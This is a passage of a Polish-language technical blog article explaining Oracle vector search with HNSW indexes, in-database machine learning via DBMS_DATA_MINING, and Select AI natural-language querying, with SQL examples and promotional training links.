&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fft9oup35sgpvm0vkzt0v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fft9oup35sgpvm0vkzt0v.png" alt="SQL*Plus - CREATE VECTOR INDEX ORGANIZATION INMEMORY NEIGHBOR GRAPH DISTANCE COSINE oraz zapytanie z FETCH APPROX FIRST 2 ROWS ONLY" width="800" height="358"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Indeks wektorowy HNSW (graf sąsiedztwa w pamięci) i wyszukiwanie przybliżone FETCH APPROX&lt;/p&gt;

&lt;p&gt;Rozłóżmy tę składnię na części:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CREATE VECTOR INDEX idx_prod_hnsw ON produkty(cechy)&lt;/code&gt; - tworzy indeks wektorowy o nazwie &lt;code&gt;idx_prod_hnsw&lt;/code&gt; na kolumnie &lt;code&gt;cechy&lt;/code&gt; (typu VECTOR) w tabeli &lt;code&gt;produkty&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ORGANIZATION INMEMORY NEIGHBOR GRAPH&lt;/code&gt; - typ indeksu: &lt;strong&gt;graf sąsiadów trzymany w pamięci&lt;/strong&gt;, czyli HNSW. Dzięki temu, że siedzi w pamięci (obszar Vector Pool), wyszukiwanie jest błyskawiczne. Alternatywą jest &lt;code&gt;ORGANIZATION NEIGHBOR PARTITIONS&lt;/code&gt; - indeks IVF, który może leżeć na dysku (mniej pamięci, nieco wolniej).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DISTANCE COSINE&lt;/code&gt; - metryka odległości, jaką indeks ma optymalizować. &lt;strong&gt;Musi być ta sama, której używasz w zapytaniu&lt;/strong&gt; (tu COSINE), inaczej indeks nie zostanie użyty. Inne opcje to m.in. EUCLIDEAN, DOT, MANHATTAN.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;WITH TARGET ACCURACY 95&lt;/code&gt; - docelowa dokładność wyszukiwania &lt;strong&gt;przybliżonego&lt;/strong&gt; (95%). Indeks przyspiesza kosztem drobnej utraty trafności; 95 to zdrowy kompromis - wyższa wartość daje dokładniejsze wyniki, ale wolniej.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;W zapytaniu kluczowe jest &lt;code&gt;FETCH APPROX FIRST 2 ROWS ONLY&lt;/code&gt;: słowo &lt;code&gt;APPROX&lt;/code&gt; mówi bazie, żeby skorzystała z indeksu wektorowego (wyszukiwanie przybliżone) zamiast porównywać po kolei wszystkie wektory. Bez &lt;code&gt;APPROX&lt;/code&gt; Oracle policzyłby dokładny wynik, skanując całą tabelę - na milionach wektorów właśnie tego chcemy uniknąć.&lt;/p&gt;

&lt;h3&gt;
  
  
  Po co to wszystko? RAG na danych firmy
&lt;/h3&gt;

&lt;p&gt;Najczęstsze zastosowanie wyszukiwania wektorowego to &lt;strong&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;rag.szczegoly" rel="noopener noreferrer"&gt;RAG&lt;/a&gt; (Retrieval-Augmented Generation)&lt;/strong&gt; - odpowiedzi modelu językowego ugruntowane w dokumentach firmy. W Oracle cały przepływ może żyć w jednej bazie:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbqmrbixudzad7yq62kww.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbqmrbixudzad7yq62kww.png" alt="Diagram przepływu RAG w Oracle 23ai: Dokumenty --&gt; VECTOR_EMBEDDING (model ONNX w bazie) --&gt; kolumna VECTOR z indeksem HNSW --&gt; VECTOR_DISTANCE --&gt; LLM z kontekstem" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Przepływ RAG w Oracle 23ai - embedding, indeks i wyszukiwanie obok danych transakcyjnych&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chcesz pewnie pisać zaawansowane zapytania SQL w Oracle?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="https://jsystems.pl/szkolenia-oracle;zaawansowany_sql.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post380&amp;amp;utm_content=link_ai-w-oracle-vector-search-machine-learning" rel="noopener noreferrer"&gt;Zaawansowany Oracle SQL&lt;/a&gt; - funkcje analityczne, hierarchie i optymalizacja zapytań. Ocena 4.9/5, terminy gwarantowane.&lt;/p&gt;
&lt;h2&gt;
  
  
  Oracle Machine Learning - model ML w czystym SQL
&lt;/h2&gt;

&lt;p&gt;To najstarszy filar AI w Oracle - i wciąż w pełni żywy w 26ai. Pakiet &lt;code&gt;DBMS_DATA_MINING&lt;/code&gt; jest w bazie od Oracle 10g (2004), dziś pod nazwą Oracle Machine Learning for SQL (OML4SQL) - to nie nowość 23ai/26ai. Pozwala zbudować model uczenia maszynowego bez ani jednej linijki Pythona i bez eksportu danych. W przykładzie uczymy klasyfikator Naive Bayes przewidywać, czy klient dokona zakupu, a następnie wołamy &lt;code&gt;PREDICTION&lt;/code&gt; wprost w zapytaniu:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fedd4csm1sj4oslfsepbc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fedd4csm1sj4oslfsepbc.png" alt="SQL*Plus - DBMS_DATA_MINING.CREATE_MODEL budujący model klasyfikacji Naive Bayes na tabeli klienci_ml oraz zapytanie z funkcjami PREDICTION i PREDICTION_PROBABILITY zwracające trafne predykcje TAK/NIE dla 8 klientów" width="800" height="935"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oracle Machine Learning - budowa modelu i predykcja w SQL (DBMS_DATA_MINING, PREDICTION)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Czym jest model i po co go tworzymy?&lt;/strong&gt; Model uczenia maszynowego to wytrenowany wzorzec - Oracle przegląda dane historyczne (np. którzy klienci kupili, a którzy nie, i jakie mieli cechy) i zapamiętuje wykryte zależności jako gotowy obiekt w bazie. Model budujesz &lt;strong&gt;raz&lt;/strong&gt;, a potem dowolnie wiele razy „pytasz" go o nowe, nieznane przypadki funkcją &lt;code&gt;PREDICTION&lt;/code&gt; (np. „czy ten klient kupi?") - bez ponownego uczenia. To właśnie różnica między ręcznie pisaną regułą (sztywne warunki IF) a modelem, który sam wyłapuje wzorce z danych i potrafi je uogólnić na nowe wiersze.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A co, gdy dane się zmienią?&lt;/strong&gt; Model odzwierciedla dane z chwili treningu, więc kiedy rzeczywistość się zmienia (nowe zachowania klientów, sezonowość, nowe produkty), z czasem traci celność - to tzw. dryf modelu. Dlatego model co jakiś czas &lt;strong&gt;przetrenowujesz na świeższych danych&lt;/strong&gt;: usuwasz stary (&lt;code&gt;DROP_MODEL&lt;/code&gt;) i budujesz nowy (&lt;code&gt;CREATE_MODEL&lt;/code&gt;) na aktualnej tabeli - zwykle cyklicznie, np. zaplanowanym zadaniem w &lt;code&gt;DBMS_SCHEDULER&lt;/code&gt; raz na tydzień czy miesiąc. „Raz" znaczy więc „raz na cykl", a nie „raz na zawsze".&lt;/p&gt;

&lt;p&gt;Co krok po kroku robi ten kod:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tabela z danymi treningowymi (&lt;code&gt;klienci_ml&lt;/code&gt;)&lt;/strong&gt; - osiem rekordów z wiekiem, dochodem i liczbą kliknięć. Kolumna &lt;code&gt;kupil&lt;/code&gt; (TAK/NIE) to zmienna docelowa, której model będzie się uczyć. W realnym projekcie to tysiące lub miliony wierszy z Twojego hurtowni danych - tutaj 8 rekordów wystarczy, żeby zademonstrować mechanizm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tabela ustawień (&lt;code&gt;ust_ml&lt;/code&gt;)&lt;/strong&gt; - prosty słownik parametrów. Wpisujemy tu &lt;code&gt;ALGO_NAME = ALGO_NAIVE_BAYES&lt;/code&gt;, co mówi pakietowi: użyj algorytmu Naiwnego Bayesa. Można tu podać dziesiątki innych parametrów (głębokość drzewa, liczba drzew w lesie losowym, próg prawdopodobieństwa itd.) - gdy tabela ustawień jest pusta, Oracle dobiera parametry automatycznie. Nazwę tej tabeli przekazujesz procedurze &lt;code&gt;DBMS_DATA_MINING.CREATE_MODEL&lt;/code&gt; w parametrze &lt;code&gt;settings_table_name&lt;/code&gt; - stamtąd model czyta swoją konfigurację.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Budowa modelu (&lt;code&gt;DBMS_DATA_MINING.CREATE_MODEL&lt;/code&gt;)&lt;/strong&gt; - jedno wywołanie PL/SQL i model jest gotowy. Podajesz: nazwę modelu (&lt;code&gt;MODEL_KUPNA&lt;/code&gt;), typ zadania (&lt;code&gt;CLASSIFICATION&lt;/code&gt; - klasyfikacja binarna), tabelę z danymi, kolumnę z unikalnym ID każdego przypadku i kolumnę docelową. Oracle trenuje model w bazie - żadne dane nie opuszczają serwera, żadne połączenie z zewnętrznym API nie jest potrzebne.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predykcja w SELECT (&lt;code&gt;PREDICTION&lt;/code&gt; i &lt;code&gt;PREDICTION_PROBABILITY&lt;/code&gt;)&lt;/strong&gt; - model działa jak zwykła funkcja SQL. &lt;code&gt;PREDICTION(MODEL_KUPNA USING wiek, dochod, klikniecia)&lt;/code&gt; zwraca prognozowaną etykietę (TAK lub NIE), a &lt;code&gt;PREDICTION_PROBABILITY&lt;/code&gt; - stopień pewności tej prognozy w przedziale 0-1. Możesz łączyć je z &lt;code&gt;WHERE&lt;/code&gt;, &lt;code&gt;JOIN&lt;/code&gt;, &lt;code&gt;ORDER BY&lt;/code&gt; - to zwykłe wyrażenie SQL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Cały model powstał i działa wewnątrz bazy - obliczenia AI jadą do danych, nie odwrotnie. Ta sama filozofia co Vector Search, tyle że dostępna już od Oracle 9i R2.&lt;/p&gt;
&lt;h2&gt;
  
  
  Select AI - pytaj bazę po polsku
&lt;/h2&gt;

&lt;p&gt;Wyobraź sobie sytuację: analityk biznesowy chce wiedzieć, ilu klientów złożyło zamówienie w ostatnim kwartale wartości powyżej 10 000 zł. Nie zna SQL, nie wie jak nazywa się tabela, nie wie w której kolumnie jest data. Normalnie idzie do programisty, który pisze zapytanie. Select AI odwraca ten schemat: &lt;strong&gt;analityk pyta bazę bezpośrednio, po polsku, zwykłym zdaniem&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Select AI (pakiet &lt;code&gt;DBMS_CLOUD_AI&lt;/code&gt;, dostępny od Oracle Database 23ai) to mechanizm zamieniający pytanie w języku naturalnym na pełne zapytanie SQL - na Twoim konkretnym schemacie, z właściwymi nazwami tabel i kolumn - i od razu zwracający wynik. Pod spodem działa duży model językowy (LLM), ale Ty piszesz tylko zdanie po polsku, resztę robi baza.&lt;/p&gt;
&lt;h3&gt;
  
  
  Jak to działa - przepływ krok po kroku
&lt;/h3&gt;

&lt;p&gt;Zrozumienie mechanizmu jest kluczowe, żeby świadomie go używać (i żeby wiedzieć, gdzie są granice). Oto co się dzieje, gdy piszesz &lt;code&gt;SELECT AI 'pokaż dziesięciu największych klientów'&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Baza czyta profil AI.&lt;/strong&gt; Profil (stworzony przez administratora raz, poleceniem &lt;code&gt;DBMS_CLOUD_AI.CREATE_PROFILE&lt;/code&gt;) zawiera: adres i klucz API dostawcy LLM, nazwę modelu językowego, listę tabel i kolumn, które model „widzi".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Baza buduje tzw. &lt;em&gt;prompt systemowy&lt;/em&gt;.&lt;/strong&gt; Automatycznie pobiera z danych słownikowych (&lt;code&gt;ALL_TABLES&lt;/code&gt;, &lt;code&gt;ALL_COLUMNS&lt;/code&gt;) definicje tabel i kolumn z profilu, a następnie wysyła do LLM instrukcję: „Masz do dyspozycji ten schemat, napisz SQL odpowiadający na to pytanie."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LLM generuje SQL.&lt;/strong&gt; Model widzi schemat i pytanie użytkownika, odpowiada czystym zapytaniem SQL (bez żadnych dodatkowych słów).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Baza wykonuje wygenerowany SQL i zwraca wyniki.&lt;/strong&gt; Wygenerowane zapytanie jest uruchamiane na bazie tak samo jak każde inne - z uprawnieniami bieżącego użytkownika.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Dane do LLM - co tak naprawdę wysyłasz?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Do zewnętrznego modelu trafia wyłącznie &lt;em&gt;schemat&lt;/em&gt; (nazwy tabel i kolumn oraz ewentualne komentarze) i treść Twojego pytania. &lt;strong&gt;Dane z tabel nie są wysyłane do LLM.&lt;/strong&gt; Mimo to, jeśli nazwy kolumn zdradzają wrażliwe informacje (np. &lt;code&gt;nr_pesel&lt;/code&gt;, &lt;code&gt;kwota_wynagrodzenia&lt;/code&gt;), warto przemyśleć, które tabele umieszczasz w profilu.&lt;/p&gt;
&lt;h3&gt;
  
  
  Krok 1 - Poświadczenia (credential)
&lt;/h3&gt;

&lt;p&gt;Zanim stworzysz profil, musisz zapisać w bazie klucz API dostawcy LLM. Oracle przechowuje go bezpiecznie w zaszyfrowanym obiekcie &lt;code&gt;CREDENTIAL&lt;/code&gt;. Poniżej przykład dla OpenAI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Zapisanie klucza API OpenAI w zaszyfrowanym obiekcie credential.
-- Klucz jest przechowywany jak hasło w Oracle Wallet - nie widać go po stworzeniu.
BEGIN
  DBMS_CLOUD.CREATE_CREDENTIAL(
    credential_name =&amp;gt; 'OPENAI_CRED',        -- dowolna nazwa obiektu w bazie
    username        =&amp;gt; 'OPENAI',             -- etykieta dostawcy; OpenAI nie ma loginu, liczy się tylko klucz w password
    password        =&amp;gt; 'sk-...'              -- Twój klucz API z platform.openai.com
  );
END;
/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Skąd tu &lt;code&gt;username&lt;/code&gt;? &lt;code&gt;DBMS_CLOUD.CREATE_CREDENTIAL&lt;/code&gt; to uniwersalny mechanizm na pary &lt;em&gt;login + hasło&lt;/em&gt; (Oracle używa go też np. do chmury czy zewnętrznych baz danych). OpenAI uwierzytelnia się jednak &lt;strong&gt;samym kluczem API&lt;/strong&gt; - dlatego klucz wpisujesz w &lt;code&gt;password&lt;/code&gt;, a &lt;code&gt;username&lt;/code&gt; jest tu tylko etykietą; w przykładach Oracle wstawia się nazwę dostawcy (&lt;code&gt;'OPENAI'&lt;/code&gt;). To &lt;strong&gt;nie&lt;/strong&gt; jest Twój login do OpenAI ani żadna wartość, którą OpenAI sprawdza.&lt;/p&gt;

&lt;p&gt;Jeżeli używasz &lt;strong&gt;OCI Generative AI&lt;/strong&gt; (usługa Oracle Cloud - dane nie opuszczają infrastruktury OCI), zamiast klucza API podajesz poświadczenia OCI (user OCID, tenancy OCID, fingerprint klucza prywatnego) - procedura jest analogiczna, zmienia się tylko format parametrów.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 2 - Profil AI
&lt;/h3&gt;

&lt;p&gt;Profil to konfiguracja, która spina razem: dostawcę LLM, model, credential i listę tabel, które model może „widzieć". Tworzysz go raz (zazwyczaj robi to DBA lub właściciel schematu) - użytkownicy z nadanym profilem mogą potem pytać bazę bez konfiguracji:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Stworzenie profilu AI łączącego: dostawcę LLM, model, credential i widoczne tabele.
-- JSON-owa konfiguracja jest przesyłana do DBMS_CLOUD_AI.CREATE_PROFILE.
BEGIN
  DBMS_CLOUD_AI.CREATE_PROFILE(
    profile_name =&amp;gt; 'SPRZEDAZ_AI',           -- nazwa profilu używana w SELECT AI
    attributes   =&amp;gt; '{
      "provider"   : "openai",               -- dostawca: openai | oci | azure | google
      "credential_name": "OPENAI_CRED",      -- credential stworzony w kroku 1
      "model"      : "gpt-4o",               -- konkretna wersja modelu LLM
      "object_list": [                        -- lista tabel, które LLM "widzi" (schemat)
        {"owner": "SKLEP", "name": "ZAMOWIENIA"},
        {"owner": "SKLEP", "name": "KLIENCI"},
        {"owner": "SKLEP", "name": "PRODUKTY"}
      ]
    }'
  );
END;
/

-- Nadanie innemu użytkownikowi prawa korzystania z Select AI (EXECUTE na pakiecie):
GRANT EXECUTE ON DBMS_CLOUD_AI TO ANNA;

-- Ustawienie profilu jako domyślnego dla bieżącej sesji:
EXEC DBMS_CLOUD_AI.SET_PROFILE('SPRZEDAZ_AI');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Krok 3 - Cztery tryby zapytania
&lt;/h3&gt;

&lt;p&gt;Składnia &lt;code&gt;SELECT AI&lt;/code&gt; obsługuje wiele trybów (tzw. akcji), wybierasz je słowem kluczowym za &lt;code&gt;AI&lt;/code&gt;. Sześć najczęściej używanych:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tryb (akcja)&lt;/th&gt;
&lt;th&gt;Składnia&lt;/th&gt;
&lt;th&gt;Co zwraca&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;runsql&lt;/strong&gt; (domyślny)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wynik zapytania SQL wygenerowanego przez LLM - wiersze i kolumny jak w zwykłym SELECT. Obsługuje też RAG (wyszukiwanie wektorowe jako kontekst)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;showsql&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI showsql 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wygenerowany kod SQL jako tekst - &lt;strong&gt;nie wykonuje go&lt;/strong&gt;. Przydatne do nauki i weryfikacji poprawności&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;explainsql&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI explainsql 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generuje SQL, a następnie prosi LLM o wyjaśnienie po ludzku, co ten SQL robi. Para do &lt;code&gt;showsql&lt;/code&gt; - zamiast czytać SQL samemu, dostajesz opis słowami&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;showprompt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI showprompt 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Wyświetla pełny prompt, który Oracle buduje i wysyła do LLM - widać tu schemat tabel, instrukcje systemowe i Twoje pytanie. Niezastąpione przy debugowaniu i audycie bezpieczeństwa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;narrate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI narrate 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LLM wykonuje SQL, dostaje wyniki i opisuje je zdaniami po polsku. Zamiast tabeli z liczbami dostajesz zdanie: „Najlepszy miesiąc to marzec z 4 820 zł średniej wartości zamówienia"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;chat&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI chat 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Przekazuje pytanie bezpośrednio do LLM bez uruchamiania SQL. Rozmowa ogólna - wyjaśnienia, kontekst, pytania niezwiązane z danymi w bazie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;summarize&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI summarize 'pytanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Streszcza tekst i duże pliki (do 1 GB) przy pomocy LLM. Przydatne do podsumowywania dokumentów, raportów lub długich treści przechowywanych w bazie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;feedback&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI feedback 'korekta'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pozwala powiedzieć modelowi, że poprzedni SQL był błędny i jak powinien wyglądać poprawny. LLM uczy się na tej podstawie i generuje dokładniejsze zapytania w przyszłości. Dostępne od Oracle AI Database 26ai&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;agent&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT AI agent 'zadanie'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uruchamia autonomicznego agenta z planowaniem wieloetapowym, użyciem narzędzi i refleksją - agent samodzielnie rozkłada złożone zadanie na kroki i je wykonuje. Dostępne od Oracle AI Database 26ai&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Przykłady w akcji
&lt;/h3&gt;

&lt;p&gt;Przyjmijmy, że w schemacie &lt;code&gt;SKLEP&lt;/code&gt; mamy tabele &lt;code&gt;ZAMOWIENIA&lt;/code&gt; (z kolumnami: &lt;code&gt;id_klienta&lt;/code&gt;, &lt;code&gt;data_zamowienia&lt;/code&gt;, &lt;code&gt;wartosc&lt;/code&gt;) i &lt;code&gt;KLIENCI&lt;/code&gt; (&lt;code&gt;id_klienta&lt;/code&gt;, &lt;code&gt;imie&lt;/code&gt;, &lt;code&gt;nazwisko&lt;/code&gt;). Oto jak wygląda rozmowa z bazą:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- runsql (domyślny): wykonuje SQL i zwraca wiersze jak w zwykłym SELECT
SELECT AI 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  IMIE        NAZWISKO    SUMA_ZAMOWIEN
--  ----------  ----------  -------------
--  Anna        Kowalska       128 540,00
--  Marek       Nowak          114 220,00
--  ...         ...                   ...

-- showsql: wyświetla wygenerowany SQL bez wykonywania go
SELECT AI showsql 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  SELECT k.imie, k.nazwisko, SUM(z.wartosc) AS suma_zamowien
--  FROM   sklep.klienci k
--  JOIN   sklep.zamowienia z ON z.id_klienta = k.id_klienta
--  WHERE  EXTRACT(YEAR FROM z.data_zamowienia) = EXTRACT(YEAR FROM SYSDATE)
--  GROUP  BY k.imie, k.nazwisko
--  ORDER  BY suma_zamowien DESC
--  FETCH FIRST 10 ROWS ONLY

-- explainsql: generuje SQL, a potem prosi LLM o wytłumaczenie go po ludzku
SELECT AI explainsql 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  "Zapytanie łączy tabele KLIENCI i ZAMOWIENIA po kolumnie id_klienta,
--   filtruje zamówienia z bieżącego roku, sumuje wartości dla każdego klienta
--   i sortuje malejąco, zwracając pierwszą dziesiątkę."

-- showprompt: pokazuje pełny prompt wysyłany do LLM (schemat + instrukcje + pytanie)
SELECT AI showprompt 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  "You are an Oracle SQL expert. The following tables are available:
--   SKLEP.ZAMOWIENIA (id_klienta NUMBER, data_zamowienia DATE, wartosc NUMBER)
--   SKLEP.KLIENCI (id_klienta NUMBER, imie VARCHAR2, nazwisko VARCHAR2)
--   Generate a SQL query for: pokaż dziesięciu klientów..."

-- narrate: wykonuje SQL i każe LLM opisać wynik zdaniami po polsku
SELECT AI narrate 'jaka była średnia wartość zamówienia w każdym miesiącu tego roku?';

--  "W 2025 roku najwyższa średnia wartość zamówienia przypadła na marzec
--   (4 820 zł), najniższa zaś na sierpień (2 110 zł). Ogólna średnia
--   roczna wyniosła 3 460 zł."

-- chat: przekazuje pytanie wprost do LLM, bez SQL i bez danych z tabel
SELECT AI chat 'co to jest indeks HNSW i kiedy go użyć?';

--  "HNSW (Hierarchical Navigable Small World) to graf przybliżonego wyszukiwania
--   najbliższych sąsiadów. Buduje wielowarstwową strukturę węzłów połączonych
--   krawędziami - górne warstwy to długie skoki, dolne to precyzyjne dopasowanie...
--   Użyj go, gdy masz powyżej kilkudziesięciu tysięcy wektorów i zależy Ci na
--   czasie odpowiedzi poniżej 10 ms."

-- summarize: streszcza tekst lub plik przechowywany w bazie (do 1 GB)
SELECT AI summarize 'streść raport kwartalny z tabeli RAPORTY gdzie id = 42';

--  "Raport za Q1 2025 odnotowuje wzrost sprzedaży o 18% rok do roku,
--   głównie w segmencie B2B. Marża brutto spadła o 2 pp do poziomu 34%
--   z powodu wzrostu kosztów logistyki..."

-- feedback (Oracle 26ai): powiedz modelowi, że poprzedni SQL był błędny
SELECT AI feedback 'poprzednie zapytanie o klientów pominęło zamówienia anulowane - kolumna status = ''ANULOWANE'' powinna być wykluczona';

--  "Dziękuję za korektę. Zapamiętałem, że przy zapytaniach o klientów
--   i zamówienia należy zawsze dodać warunek status != ''ANULOWANE''."

-- agent (Oracle 26ai): autonomiczny agent rozkłada złożone zadanie na kroki
SELECT AI agent 'znajdź klientów, którzy kupili produkt X, ale nie kupili Y, i wyślij im ofertę rabatową';

--  Agent planuje: (1) znajdź klientów X, (2) odejmij zbiór klientów Y,
--  (3) pobierz adresy e-mail, (4) wywołaj narzędzie do wysyłki oferty.
--  Każdy krok jest wykonywany osobno z refleksją nad wynikiem.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Tryb showsql - narzędzie do nauki i weryfikacji
&lt;/h3&gt;

&lt;p&gt;Tryb &lt;code&gt;showsql&lt;/code&gt; jest szczególnie wartościowy z dwóch powodów. Po pierwsze, pozwala &lt;strong&gt;sprawdzić, czy model dobrze zrozumiał pytanie&lt;/strong&gt; - zanim zobaczysz wyniki, możesz ocenić poprawność SQL. Po drugie, to świetne narzędzie do nauki: piszesz pytanie po polsku, dostajesz gotowy, poprawny SQL i możesz analizować, jak Oracle przekłada intencję na zapytanie. W środowisku produkcyjnym warto uruchamiać &lt;code&gt;showsql&lt;/code&gt; przy pierwszym użyciu każdego nowego pytania, żeby upewnić się, że model trafia w intencję.&lt;/p&gt;

&lt;h3&gt;
  
  
  Obsługiwani dostawcy LLM
&lt;/h3&gt;

&lt;p&gt;Select AI współpracuje z kilkoma dostawcami dużych modeli językowych. Wybór zależy głównie od wymagań bezpieczeństwa i polityki firmy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OCI Generative AI&lt;/strong&gt; - usługa Oracle Cloud; dane pozostają w infrastrukturze OCI, naturalny wybór dla klientów chmury Oracle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OpenAI&lt;/strong&gt; - modele z rodziny GPT; schemat tabel trafia do serwerów OpenAI (poza UE).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure OpenAI&lt;/strong&gt; - modele OpenAI hostowane przez Microsoft na Azure; dostępne opcje regionów UE.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Vertex AI&lt;/strong&gt; - modele Gemini; integracja przez klucz API Google Cloud.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cohere&lt;/strong&gt; - alternatywny dostawca, modele Command R.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Select AI vs Vector Search vs Oracle ML - kluczowa różnica&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
